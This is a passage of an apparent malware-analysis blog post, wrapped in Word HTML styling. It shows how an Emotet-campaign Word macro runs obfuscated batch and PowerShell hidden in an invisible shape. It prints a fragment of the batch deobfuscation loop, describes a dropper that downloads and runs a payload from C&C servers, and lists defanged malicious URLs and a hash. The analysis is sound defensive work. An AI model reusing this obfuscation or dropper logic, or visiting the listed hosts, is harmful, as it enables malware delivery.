<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" QFormat="true"
Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" QFormat="true"
Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" QFormat="true"
Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" QFormat="true"
Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" SemiHidden="true"
UnhideWhenUsed="true" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" SemiHidden="true"
UnhideWhenUsed="true" QFormat="true" Name="TOC Heading"/>
<w:LsdException Locked="false" Priority="41" Name="Plain Table 1"/>
<w:LsdException Locked="false" Priority="42" Name="Plain Table 2"/>
<w:LsdException Locked="false" Priority="43" Name="Plain Table 3"/>
<w:LsdException Locked="false" Priority="44" Name="Plain Table 4"/>
<w:LsdException Locked="false" Priority="45" Name="Plain Table 5"/>
<w:LsdException Locked="false" Priority="40" Name="Grid Table Light"/>
<w:LsdException Locked="false" Priority="46" Name="Grid Table 1 Light"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark"/>
<w:LsdException Locked="false" Priority="51" Name="Grid Table 6 Colorful"/>
<w:LsdException Locked="false" Priority="52" Name="Grid Table 7 Colorful"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 1"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 1"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 1"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 1"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 1"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 2"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 2"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 2"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 2"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 2"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 3"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 3"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 3"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 3"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 3"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 4"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 4"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 4"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 4"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 4"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 5"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 5"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 5"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 5"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 5"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="46"
Name="Grid Table 1 Light Accent 6"/>
<w:LsdException Locked="false" Priority="47" Name="Grid Table 2 Accent 6"/>
<w:LsdException Locked="false" Priority="48" Name="Grid Table 3 Accent 6"/>
<w:LsdException Locked="false" Priority="49" Name="Grid Table 4 Accent 6"/>
<w:LsdException Locked="false" Priority="50" Name="Grid Table 5 Dark Accent 6"/>
<w:LsdException Locked="false" Priority="51"
Name="Grid Table 6 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="52"
Name="Grid Table 7 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="46" Name="List Table 1 Light"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark"/>
<w:LsdException Locked="false" Priority="51" Name="List Table 6 Colorful"/>
<w:LsdException Locked="false" Priority="52" Name="List Table 7 Colorful"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 1"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 1"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 1"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 1"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 1"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 1"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 2"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 2"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 2"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 2"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 2"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 2"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 3"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 3"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 3"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 3"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 3"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 3"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 4"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 4"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 4"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 4"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 4"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 4"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 5"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 5"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 5"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 5"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 5"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 5"/>
<w:LsdException Locked="false" Priority="46"
Name="List Table 1 Light Accent 6"/>
<w:LsdException Locked="false" Priority="47" Name="List Table 2 Accent 6"/>
<w:LsdException Locked="false" Priority="48" Name="List Table 3 Accent 6"/>
<w:LsdException Locked="false" Priority="49" Name="List Table 4 Accent 6"/>
<w:LsdException Locked="false" Priority="50" Name="List Table 5 Dark Accent 6"/>
<w:LsdException Locked="false" Priority="51"
Name="List Table 6 Colorful Accent 6"/>
<w:LsdException Locked="false" Priority="52"
Name="List Table 7 Colorful Accent 6"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Mention"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Smart Hyperlink"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Hashtag"/>
<w:LsdException Locked="false" SemiHidden="true" UnhideWhenUsed="true"
Name="Unresolved Mention"/>
</w:LatentStyles>
</xml><![endif]-->
<style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;
mso-font-charset:0;
mso-generic-font-family:roman;
mso-font-pitch:variable;
mso-font-signature:3 0 0 0 1 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;
mso-font-charset:0;
mso-generic-font-family:swiss;
mso-font-pitch:variable;
mso-font-signature:-536859905 -1073732485 9 0 511 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-unhide:no;
mso-style-qformat:yes;
mso-style-parent:"";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
.MsoChpDefault
{mso-style-type:export-only;
mso-default-props:yes;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
@page WordSection1
{size:8.5in 11.0in;
margin:1.0in 1.0in 1.0in 1.0in;
mso-header-margin:.5in;
mso-footer-margin:.5in;
mso-paper-source:0;}
div.WordSection1
{page:WordSection1;}
-->
</style>
<!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Table Normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0in 5.4pt 0in 5.4pt;
mso-para-margin:0in;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
</style>
<![endif]-->
<!--StartFragment-->
The beautified screenshot of that code is:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-Awz9NwTTlt0/XARcA6Z0cNI/AAAAAAAAEsw/JgDz5OpXNWEC0ao-UGKZEO9L0PVMq_8vwCEwYBhgL/s1600/3-emotet-simplified_macro.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="292" data-original-width="1498" height="124" src="https://3.bp.blogspot.com/-Awz9NwTTlt0/XARcA6Z0cNI/AAAAAAAAEsw/JgDz5OpXNWEC0ao-UGKZEO9L0PVMq_8vwCEwYBhgL/s640/3-emotet-simplified_macro.png" width="640" /></a></div>
<div>
<div id="ftn1">
The code above is actually trying to get the text of a shape named “<b>VEwXcPHJQ</b>” inside the word document and assign it to <b>NGHcX</b> variable. <br />
<br />
Then gets the COM object with class id <b>72C24DD5-D70A-438B-8A42-98424B88AFB8</b> which is actually <b>WshShell</b> object. And then runs the content of <b>NGHcX</b> with a <b>WshShell</b> shell. That means the contents <b>NGHcX</b> of is actually the batch script which will be run by the macro. <br />
<br />
When you check the Word document content by looking at Selection Pane menu Under Home tab you can see the shapes within the document.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-bXolVAMU-1c/XARdQwAxGaI/AAAAAAAAEs4/l_bijeIqIv4SQ-dqkKze1tf1-wNgKM-1wCLcBGAs/s1600/4-Word-File-selection-pane.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="490" data-original-width="1600" height="194" src="https://1.bp.blogspot.com/-bXolVAMU-1c/XARdQwAxGaI/AAAAAAAAEs4/l_bijeIqIv4SQ-dqkKze1tf1-wNgKM-1wCLcBGAs/s640/4-Word-File-selection-pane.png" width="640" /></a></div>
When you check the shape with the name “<b>VEwXcPHJQ</b>”, you'll see a tiny dot on the upper left corner of the document. Attackers tried to hide it from the view.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-JhKOtcxnrPw/XARdmgXNmMI/AAAAAAAAEtA/SJrUYNn9zOkID8AApBzZz2XZ3GovmtoFwCLcBGAs/s1600/5-invisible-shape.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="523" data-original-width="1581" height="210" src="https://2.bp.blogspot.com/-JhKOtcxnrPw/XARdmgXNmMI/AAAAAAAAEtA/SJrUYNn9zOkID8AApBzZz2XZ3GovmtoFwCLcBGAs/s640/5-invisible-shape.png" width="640" /></a></div>
The text content of the shape can be seen by resizing it:</div>
<div id="ftn1">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-8VTCs_2MWoE/XARdvioOrEI/AAAAAAAAEtE/hphyKmrk7aM1mmwEUtI-4WXzbfbtxpcSgCLcBGAs/s1600/6-contents-of-the-shape.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="634" data-original-width="1311" height="308" src="https://3.bp.blogspot.com/-8VTCs_2MWoE/XARdvioOrEI/AAAAAAAAEtE/hphyKmrk7aM1mmwEUtI-4WXzbfbtxpcSgCLcBGAs/s640/6-contents-of-the-shape.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
A more readable version of that obfuscated batch script is:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-Y0Euk5JJmQU/XARe8zqqcKI/AAAAAAAAEtU/mlK9kM-cCc00UfMR4YNffBO2GUWq5uNVACLcBGAs/s1600/6-1-ObfuscatedPowershell.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="411" data-original-width="1600" height="164" src="https://1.bp.blogspot.com/-Y0Euk5JJmQU/XARe8zqqcKI/AAAAAAAAEtU/mlK9kM-cCc00UfMR4YNffBO2GUWq5uNVACLcBGAs/s640/6-1-ObfuscatedPowershell.png" width="640" /></a></div>
The <b>^</b> character here is just for complication. Let’s remove these characters and the it becomes:<br />
<div style="mso-element: footnote-list;">
<div id="ftn1" style="mso-element: footnote;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-XtQJlN0HcX0/XARfIXsQAPI/AAAAAAAAEtY/dbKrcAQvdtcmwNCvcjEe2EGy4FaSiCgowCLcBGAs/s1600/6-2-ObfuscatedPowershell.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="357" data-original-width="1600" height="142" src="https://4.bp.blogspot.com/-XtQJlN0HcX0/XARfIXsQAPI/AAAAAAAAEtY/dbKrcAQvdtcmwNCvcjEe2EGy4FaSiCgowCLcBGAs/s640/6-2-ObfuscatedPowershell.png" width="640" /></a></div>
The last couple lines of the code actually interesting. It is the deobfuscator of the batch script. Here is the beautified version that part:<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">for /L %X IN (1676 -3 2) <br />DO<br /> SET qJP=!qJP!!0t:~%X, 1!<br /> if %X leQ 2 <br /> CaLL %qJP:*qJP!=%</span><br />
<br />
This actually means that: result is a string read by one character every 3 positions starting from the end. Then code creates a command with <b>CALL</b> to run resulting string.<br />
<br />
In order to deobfuscate this I wrote a basic JAVA code shown below:<br />
<div style="mso-element: footnote-list;">
<div id="ftn2" style="mso-element: footnote;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-gjQ4cxlpeWQ/XARr5hL-NiI/AAAAAAAAEto/5W3ZRv6zrzEBJlOX3EgekmG0nRgvJmoKwCLcBGAs/s1600/java-deobfuscator.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="560" data-original-width="1600" height="222" src="https://2.bp.blogspot.com/-gjQ4cxlpeWQ/XARr5hL-NiI/AAAAAAAAEto/5W3ZRv6zrzEBJlOX3EgekmG0nRgvJmoKwCLcBGAs/s640/java-deobfuscator.png" width="640" /></a></div>
</div>
</div>
</div>
</div>
<div class="MsoFootnoteText">
So the result becomes as follows:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-vFXZlxdtIxA/XARspAgdjXI/AAAAAAAAEtw/4JCRP-OhGFAzY1zm8F2wzN4tafSN-As6ACLcBGAs/s1600/deobfuscatedpowershell0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="276" data-original-width="1600" height="110" src="https://4.bp.blogspot.com/-vFXZlxdtIxA/XARspAgdjXI/AAAAAAAAEtw/4JCRP-OhGFAzY1zm8F2wzN4tafSN-As6ACLcBGAs/s640/deobfuscatedpowershell0.png" width="640" /></a></div>
</div>
The beautified version this powershell code is:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-rxrMmLUDwwQ/XARsyqHtGzI/AAAAAAAAEt0/rEIAmt-tKLApKSxJlyh4iuGEzOkAhYhbQCLcBGAs/s1600/deobfuscatedpowershell.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="666" data-original-width="1600" height="266" src="https://4.bp.blogspot.com/-rxrMmLUDwwQ/XARsyqHtGzI/AAAAAAAAEt0/rEIAmt-tKLApKSxJlyh4iuGEzOkAhYhbQCLcBGAs/s640/deobfuscatedpowershell.png" width="640" /></a></div>
<div id="ftn1">
This code is trying to reach one of the multiple C&C servers, write the response body to a file and execute that file if it can get a HTTP 200 response from any of the servers. The written file is the payload of this emotet campaign and needs to be analyzed separately. Our powershell code is actually just a dropper.</div>
<div id="ftn1">
<br /></div>
<div id="ftn1">
A friend of mine also sent me another obfuscated powershell code which is related to the same emotet campaign:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-kYEssG8JeFs/XARwO2-GdxI/AAAAAAAAEuA/hckOFEBv3KUUXrB3Jnv4JfpAIvM81LdXwCLcBGAs/s1600/6-3-ObfuscatedPowershell.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="707" data-original-width="1600" height="282" src="https://3.bp.blogspot.com/-kYEssG8JeFs/XARwO2-GdxI/AAAAAAAAEuA/hckOFEBv3KUUXrB3Jnv4JfpAIvM81LdXwCLcBGAs/s640/6-3-ObfuscatedPowershell.png" width="640" /></a></div>
<div id="ftn1">
It is actually the same code with different server urls</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-b9mjA2Lk8E4/XARwqzJjnYI/AAAAAAAAEuI/qMDAHv9VBtcwcNWywN1zuvBs4NFgCNtzgCLcBGAs/s1600/7-2-deobfuscated-powershell.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="177" data-original-width="1600" height="70" src="https://1.bp.blogspot.com/-b9mjA2Lk8E4/XARwqzJjnYI/AAAAAAAAEuI/qMDAHv9VBtcwcNWywN1zuvBs4NFgCNtzgCLcBGAs/s640/7-2-deobfuscated-powershell.png" width="640" /></a></div>
<br />
You can find the urls and the hash of the word document below:<br />
<h3>
IoC</h3>
<div id="ftn1">
<b>lifewithdogmovie</b>[dot]<b>com/0K3jRwA</b></div>
<div id="ftn1">
<b>mimhoff</b>[dot]<b>com/FvfyvHFBzf</b></div>
<div id="ftn1">
<b>tourdezsokolat</b>[dot]<b>hu/zuyhGc7sq8</b></div>
<div id="ftn1">
<b>salon-gabriela</b>[dot]<b>pl/HeF32DnjQl</b></div>
<div id="ftn1">
<b>uutiset</b>[dot]<b>helppokoti</b>[dot]<b>fi/86YAZjQ</b></div>
<div id="ftn1">
<b>bizi-ss</b>[dot]<b>com</b>/<b>xiDI70T</b></div>
<div id="ftn1">
<b>jsplivenews</b>[dot]<b>com/JtX</b></div>
<div id="ftn1">
<b>eissaalfahim</b>[dot]<b>com/Kk4G</b></div>
<div id="ftn1">
<b>myhealthbeta</b>[dot]<b>com/Ug5OuOoN</b></div>
<div id="ftn1">
<b>translampung</b>[dot]<b>com/AEk</b></div>
<div id="ftn1">
<br /></div>
<div id="ftn1">
68a050ca8d0acefe8fc7c6604c2c79a0c002e72e8abb064c32077f08a09f7fa2 Factura_EWF22416.doc</div>
<div id="ftn1">
<!--EndFragment--><br />
<h3>
References:</h3>
<div class="MsoFootnoteText">
</div>
<ul>
<li><a href="http://www.informit.com/articles/article.aspx?p=1187429&seqNum=5" style="font-size: 10pt;">http://www.informit.com/articles/article.aspx?p=1187429&seqNum=5</a></li>
<li><a href="https://twitter.com/tiraniddo/status/883605511018471424" style="font-size: 10pt;">https://twitter.com/tiraniddo/status/883605511018471424</a></li>
<li><a href="https://malwaretips.com/threads/how-to-de-obfuscate-powershell-script-commands-examples.76369/" style="font-family: Calibri, sans-serif; font-size: 10pt;">https://malwaretips.com/threads/how-to-de-obfuscate-powershell-script-commands-examples.76369/</a></li>
<li><a href="https://blog.malwarebytes.com/threat-analysis/2018/05/malware-analysis-decoding-emotet-part-1/" style="font-family: Calibri, sans-serif; font-size: 10pt;">https://blog.malwarebytes.com/threat-analysis/2018/05/malware-analysis-decoding-emotet-part-1/</a></li>
<li><div id="ftn1">
<div class="MsoFootnoteText">
<span class="MsoHyperlink"><a href="https://isc.sans.edu/forums/diary/Windows+Batch+File+Deobfuscation/23916/">https://isc.sans.edu/forums/diary/Windows+Batch+File+Deobfuscation/23916/</a></span></div>
</div>
</li>
<li><div class="MsoFootnoteText">
<a href="https://stackoverflow.com/questions/17956651/execute-a-command-in-command-prompt-using-excel-vba" style="font-size: 10pt;">https://stackoverflow.com/questions/17956651/execute-a-command-in-command-prompt-using-excel-vba</a></div>
</li>
</ul>
</div>
</div>
<div>
<div class="MsoFootnoteText">
<o:p></o:p></div>
<!--EndFragment--></div>
<style>
<!--
/* Font Definitions */
@font-face
{font-family:"Cambria Math";
panose-1:2 4 5 3 5 4 6 3 2 4;
mso-font-charset:0;
mso-generic-font-family:roman;
mso-font-pitch:variable;
mso-font-signature:3 0 0 0 1 0;}
@font-face
{font-family:Calibri;
panose-1:2 15 5 2 2 2 4 3 2 4;
mso-font-charset:0;
mso-generic-font-family:swiss;
mso-font-pitch:variable;
mso-font-signature:-536859905 -1073732485 9 0 511 0;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
{mso-style-unhide:no;
mso-style-qformat:yes;
mso-style-parent:"";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:12.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
p.MsoFootnoteText, li.MsoFootnoteText, div.MsoFootnoteText
{mso-style-noshow:yes;
mso-style-priority:99;
mso-style-link:"Footnote Text Char";
margin:0in;
margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:"Calibri",sans-serif;
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:Calibri;
mso-fareast-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;}
span.MsoFootnoteReference
{mso-style-noshow:yes;
mso-style-priority:99;
